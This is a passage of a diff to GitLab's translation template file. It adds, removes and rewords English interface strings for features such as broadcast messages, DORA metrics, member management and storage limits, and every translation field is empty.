+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3460,6 +3499,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4102,9 +4144,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4273,15 +4312,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4315,9 +4345,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4568,6 +4595,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4708,9 +4747,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4799,6 +4835,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -4935,6 +4974,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5482,6 +5524,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5497,12 +5542,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7070,9 +7121,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7668,6 +7803,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7779,13 +7917,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8066,6 +8201,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8225,12 +8363,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8414,6 +8546,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8538,6 +8673,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8640,12 +8778,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9310,21 +9454,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9812,6 +9941,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10700,6 +10832,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11093,6 +11228,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -11988,6 +12126,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12012,6 +12153,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12024,7 +12168,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12045,6 +12192,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12066,6 +12219,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12084,6 +12243,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12105,6 +12273,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12114,6 +12288,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12129,9 +12306,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13048,11 +13222,9 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13114,6 +13286,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13492,9 +13667,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13510,6 +13691,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13592,6 +13779,12 @@ msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -13860,7 +14053,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14085,6 +14278,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14572,6 +14768,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15769,10 +15968,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15781,9 +15977,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16280,9 +16473,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16316,9 +16506,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16636,9 +16823,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17063,9 +17247,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17384,16 +17565,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17490,6 +17668,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18146,9 +18327,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18561,6 +18739,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18573,6 +18754,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18597,6 +18784,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18615,6 +18805,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18627,9 +18820,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -18954,6 +19153,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19116,7 +19321,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19599,9 +19804,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19656,6 +19867,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19665,6 +19879,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19674,6 +19894,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19791,6 +20014,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20098,6 +20324,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20512,9 +20744,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20536,6 +20765,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20754,12 +20986,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -21817,7 +22061,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -21878,9 +22122,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22031,6 +22284,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23232,6 +23488,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23280,6 +23539,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23424,9 +23686,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23742,9 +24001,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -23903,9 +24159,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24038,6 +24291,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24107,9 +24363,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -24857,6 +25110,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -24872,9 +25128,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -24974,6 +25227,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25043,9 +25299,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25058,9 +25311,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25400,6 +25650,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25435,6 +25688,9 @@ msgstr[0] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25444,6 +25700,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25465,10 +25736,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25477,9 +25748,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25507,6 +25784,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25534,6 +25814,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25819,10 +26105,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -25882,6 +26171,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26307,6 +26599,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26703,6 +27001,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26727,6 +27028,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26736,6 +27040,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26758,24 +27065,36 @@ msgid "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} l
msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_count} locked projects"
msgstr[0] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
